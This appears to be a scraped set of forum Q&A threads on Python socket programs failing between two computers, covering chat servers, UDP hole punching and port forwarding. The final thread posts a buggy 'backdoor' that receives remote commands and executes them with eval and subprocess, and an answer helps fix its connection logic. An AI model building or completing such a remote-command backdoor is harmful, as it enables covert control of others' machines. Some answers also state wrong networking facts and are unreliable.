I have made a program using the socket library that allows me to start a server to collect messages from a client that connects, and I have also created a client that can connect to the server and send messages.
These programs both communicate with each other when tested on the same device, but as soon as I try communicate between two different devices I get varied errors.
I mostly get errors saying that the connection was refused, or that it timed out, or that the IP does not apply in this context.
I have been searching for a solution all over but none are working, please help.
Server code:
from datetime import datetime
import socket
print("STARTING_SERVER_SETUP_AT: " + str(datetime.now()))
ip = raw_input("SERVER_IP: ")
port = int(raw_input("SERVER_PORT: "))
address = (ip, port)
max_size = 1000
print("STARTING_THE_SERVER_AT: " + str(datetime.now()))
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(address)
server.listen(5)
client, addr = server.accept()
while(True):
data = client.recv(max_size)
print(str(datetime.now()) + ": " + str(data))
client.sendall(bytes("MESSAGE_RECEIVED"))
Client code:
from datetime import datetime
import socket
print("STARTING_CLIENT_SETUP_AT: " + str(datetime.now()))
ip = raw_input("SERVER_IP: ")
port = int(raw_input("SERVER_PORT: "))
username = raw_input("CLIENT_USERNAME: ") + ": "
address = (ip, port)
max_size = 1000
print("STARTING_CLIENT_AT: " + str(datetime.now()))
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(address)
while(True):
client.sendall(bytes(username + raw_input()))
For more info:
This is written in Python2.7
and I have tried EVERY SINGLE COMBINATION of IP's to get this
thing to work (0.0.0.0, 127.0.x.x, 192.168.x.x, localhost)
I also can't port forward.
Related
I am trying to establish a peer to peer communication using UDP hole punching. I am first establishing a connection with the server and then trying to make communication between 2 clients, but I am not able to communicate between 2 computers that are behind 2 different NATs as I am not understanding what IP address and port must I enter for the establishment of communication.
Please tell me what changes must I make in the code below so that 2 computers are able to communicate.
P.S : External IP doesn't seem to work and I am not supposed to use any additional tool like ngrok
Server.py
import socket
import struct
import sys
server_listening_port = 12345
sockfd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sockfd.bind(("", server_listening_port))
print("Listening on the port " + str(server_listening_port))
client_requests = []
while True:
data, addr = sockfd.recvfrom(32)
client_requests.append(addr)
print("Connection from: " + str(addr))
if len(client_requests) == 2:
break
client_a_ip = client_requests[0][0]
client_a_port = client_requests[0][1]
client_b_ip = client_requests[1][0]
client_b_port = client_requests[1][1]
message = ": "
sockfd.sendto(str(client_a_ip).encode("utf-8") + message.encode("utf-8") + str(client_a_port).encode("utf-8"), client_requests[1])
sockfd.sendto(str(client_b_ip).encode("utf-8") + message.encode("utf-8") + str(client_b_port).encode("utf-8"), client_requests[0])
sockfd.close()
Above is the rendezvous server
ClientA.py
import socket
import struct
import sys
import time
master = ("Server_IP", Port)
#Create dgram udp socket
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
message = "Hello"
sockfd.bind(('', 0))
sockfd.sendto(message.encode("utf-8"), master)
except socket.error:
print("Failed to create socket")
sys.exit()
# #Receiving peer info from server
peer_data, addr = sockfd.recvfrom(1024)
print (peer_data)
print("trying to communicate with peer")
peer_ip = peer_data.decode("utf-8").split(":")[0]
peer_port = int(peer_data.decode("utf-8").split(":")[1])
peer = (peer_ip, peer_port)
while 1:
message1 = input(str("You:>>"))
message = message.encode("utf-8")
sockfd.sendto(str(message).encode("utf-8"), peer)
incoming_msg, sendaddr = sockfd.recvfrom(1024)
incoming_msg = incoming_msg.decode("utf-8")
print("ClientB:>>",incoming_msg)
Above code is Client A
ClientB.py
import socket #For sockets
import struct
import sys #For exit
import time
master = ("Server_IP", port)
me = ("ClientB_IP", port)
#Create dgram udp socket
try:
sockfd = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
message = "Hello"
sockfd.bind(('', 0))
sockfd.sendto(message.encode("utf-8"), master)
except socket.error:
print("Failed to create socket")
sys.exit()
# #Receiving peer info from server
peer_data, addr = sockfd.recvfrom(1024)
print (peer_data)
print("trying to communicate with peer")
peer_ip = peer_data.decode("utf-8").split(":")[0]
peer_port = int(peer_data.decode("utf-8").split(":")[1])
peer = (peer_ip, peer_port)
while 1:
incoming_msg, sendaddr = sockfd.recvfrom(1024)
incoming_msg = incoming_msg.decode("utf-8")
print("ClientA:>>", incoming_msg)
message = input(str("You :>>"))
message = message.encode("utf-8")
sockfd.sendto(str(message).encode("utf-8"), peer)
Above is client B
I am facing problem only in the IP address and port. So , please do help me with it to establish communication between 2 computers behind 2 different NATs
I'm currently on the same problem and I want to program it for myself. With some research I found a really good paper explaining the process in detail.
I let you know if I succeed.
https://bford.info/pub/net/p2pnat/
I am trying to connect multiple computers with sockets. I can run host and client on my computer, and they will connect. But if i try to run client on another computer, it wont connect. This is my host code:
import socket
import requests
# NOTES:socket.gethostname()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1234))
s.listen(5)
print("Searching for available computers...")
while True:
clientsocket, address = s.accept()
print(f"Connection from {address} has been established!")
usr = input("Temporary username for this session: ")
msg = input("Send to client: ")
clientsocket.send(bytes(usr + " says > " + msg, "utf-8"))
break
while True:
msg1 = input("Send to client: ")
clientsocket.send(bytes(usr + " says > " +msg1, "utf-8"))
#w
and this is my code for client:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((socket.gethostname(), 1234))
while True:
msg = s.recv(1028)
print(msg.decode("utf-8"))
what is wrong?
That is because the IP address the server is listening on, is 0.0.0.0 (localhost) only programs on the same computer can access that IP address. Change the IP address from the server to socket.gethostbyname(socket.gethostname()) that will return the local IP address of your computer. And that local IP address can be accessed by anyone, who is connected to the same network. In the code of the client, you have to change the IP address to the IP address, returned from the function above. So run print(socket.gethostbyname(socket.gethostname()))on the server computer and set the IP address the client is connecting to, to the printed value.
The "0.0.0.0" part is correct (keep in mind that this config allows any ip address to connect to the server (from WAN and from LAN)).
You have to change this:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((socket.gethostname(), 1234))
while True:
msg = s.recv(1028)
print(msg.decode("utf-8"))
into this:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ip of the server", 1234))
while True:
msg = s.recv(1028)
print(msg.decode("utf-8"))
Because the socket.gethostname() command is meant to get the ip address of the machine you are running the program on (not the server itself... infact if not specified there is no way the client can know on what address the server is located)
p.s.
remember to open port 1234 on the server machine
+
please don't use 1028... that's a very bad number: use 1024 instead
I'm trying to set up communication between me and my friend's computer using the socket module. I run the server code on my computer and he runs the client code on his computer. Here is the code:
Server:
import socket
host = "XXX.XXX.XX.XXX" # IP of my computer
port = 2000
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host, port))
addrs = []
print("Server started")
while True:
data, addr = s.recvfrom(1024)
if not addr in addrs:
addrs.append(addr)
data = data.decode("utf-8")
print("Recieved: " + str(data))
print("Sending: " + data)
for add in addrs:
s.sendto(data.encode("utf-8"), add)
Client:
import socket
import time
host = "XXX.XXX.XXX.XXX" # External IP of my router
port = 2001
server = (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setblocking(False)
while True:
message = "Test message"
time.sleep(1)
print("Sending: " + message)
s.sendto(message.encode("utf-8"), server)
try:
data, addr = s.recvfrom(1024)
except BlockingIOError:
pass
else:
data = data.decode("utf-8")
print("Recieved: " + str(data))
Note: The port in the client vs. server code is different to make sure that my port forwarding is actually doing something.
I have set up port forwarding on my router. Everything works fine when I run both scripts on my computer (or even another computer connected to the same WiFi as mine) and I know that the port forwarding is doing its thing. However, when my friend (who is connected to a different WiFi) runs the client code, it doesn't work. No error is thrown, but he sends data which neither my computer nor the router's port forwarding rule recieves.
Could this problem originate from my code, or is it more likely to be because of my router not being properly set up?
Okay I setup a HotSpot my Android Phone. which in this case is your "Router", used my phone's IP Address. and On the computer tried to run your client code, its sending test messages on the client:
Sending: Test message
Sending: Test message
Sending: Test message
Sending: Test message
....
but I'm receiving nothing on your Server, still saying server started.
so I configured your host variable on the "Client App" like so, also your ports are not consistent 2000 on server and 2001 on client:
host = "" # External IP of my router
port = 2000
NOTE!! I left the host Empty
Because I think for some reason the server is hosted locally on the pc, you are running the server on. This way i can also Connect locally from the same computer I ran the server app with:
host = "localhost" # External IP of my router
on the your client app.
this is how everything looks.
Server Code
run this on your comuter.
import socket
host = "" # IP of my computer
port = 2000
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((host, port))
addrs = []
print("Server started")
while True:
data, addr = s.recvfrom(1024)
if not addr in addrs:
addrs.append(addr)
data = data.decode("utf-8")
print("Recieved: " + str(data))
print("Sending: " + data)
for add in addrs:
s.sendto(data.encode("utf-8"), add)
Depending on where you ran your serverApp. use the IP of the computer running the server. I'm Still learning so I don't know how to set it up to use your router's IP.
ClientApp Code
run this on your friend computer or more. or on android even.
import socket
import time
host = "ip_of_the_computer_the_server_is_running_on" # connecting from another computer
#host = "localhost" # If you connecting locally
port = 2000
server = (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setblocking(False)
while True:
message = "Test message"
time.sleep(1)
print("Sending: " + message)
s.sendto(message.encode("utf-8"), server)
try:
data, addr = s.recvfrom(1024)
except BlockingIOError:
pass
else:
data = data.decode("utf-8")
print("Recieved: " + str(data))
And use Your router only for same AP Connection.
Tested with my TOTO-LINK IT WORKS FINE. as long as I don't use my router's IP On the client host.
Demonstrations
Server
CLient
Client On Mobile
This code is actually 100% correct, the error was in my port forwarding.
I am trying to set up a UDP client-server connection between two laptops.
Server code:
import socket
def Main():
host = '8.8.8.8'
port = 8000
s = socket.socket()
s.bind((host,port))
s.listen(2)
c, addr = s.accept()
print("Connection from: " + str(addr))
while True:
data = c.recv(1024)
if not data:
break
print("from connected user: " + str(data))
data = str(data).upper()
print("sending: " + str(data))
c.send(str.encode(data))
c.close()
client:
import socket
def Main():
host = '8.8.8.8'
port = 8000
s = socket.socket()
print ('Created socket')
s.connect((host, port))
print ('Connected to host')
message = input("-> ")
while message != 'q':
s.send(str.encode(message))
data = s.recv(1024)
print("Received from server: " + str(data))
message = input("-> ")
s.close()
I was able to get this working on one laptop i.e I opened two terminals and got a working connection, but when I try and to it between two laptops, the client times out while trying to connect to the server. Based on my research as long as I don't use the IP '127.0.0.1' it should work. Any idea what could fix this?
I was making an experimental backdoor that needs to put into a variable the string that I will send to the port number 433. I try this, but it doesn't work. Here's the code:
import socket
import time
import subprocess
host = '' # <-- WRITE HERE THE HOST TO RECIVE INFO
port = '433'
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
while 1:
time.sleep(2)
s.send("\n[*] Status: Transmiting from " + str(my_ip) + "...")
s.send("\n[*] Status: Listening port " + str(port) + "...")
rmt_cmd = s.recv(1024)
if rmt_cmd != "":
eval(rmt_cmd)
s.send("\n[*] Status: Executing ( " + str(rmt_cmd) + " )...")
process = subprocess.Popen(rmt_cmd, shell=False,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
cmd_output = process.stdout.read() + process.stderr.read()
s.send("\n[*] Command output/error(s):")
s.send("\n[*] " + cmd_output)
else:
s.send("\n[*] No command recived")
s.send("\n[*] Status: Listening port " + str(port) + "...")
Here the code try to connect to the host, and if there is an error, it waits 5 second and try again, because the other computer has an program that initiate with the OS that accept the connections, so the backdoor wait 5 seconds because the computer may be turning on:
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
but the problem is that I want to put into rmt_cmd (remote_command) the string that I will send to the port 433, and this give me another thing:
rmt_cmd = s.recv(1024)
How can I do it?
Although I understand what you're trying to do, the way you're trying to achieve this needs to be reworked.
s = socket.socket()
s.accept()
my_ip = socket.gethostbyname(socket.gethostname())
s.bind((host, port))
try:
s.connect()
except socket.error():
time.sleep(5)
s.connect()
s.send("\n[*] Status: Conected!")
s.listen(port)
You need to get understanding of what you actually want.
1) Do you want your backdoor to stay passive and wait for a connection? Then it should be like this:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
sock.bind(address) # your host/port pair that client will need to connect to
sock.listen(5)
client_sock = sock.accept() # all the communications happen with
# client_sock since now
In this case it is also possible that your OS won't let you bind 433 port. Ports below 1024 are usually forbidden to use by third party apps to prevent conflicts and backdoors (ha-ha).
2) Do you want your backdoor to actively connect to the remote host? Just create socket and use its connect method. Don't mix bind+listen+accept (passive socket mode) with connect (active mode).
rmt_cmd = s.recv(1024) part is unreliable and needs to be refactored. The same thing with s.send usages. Use s.sendall instead or there's a change you won't send the whole message in one send.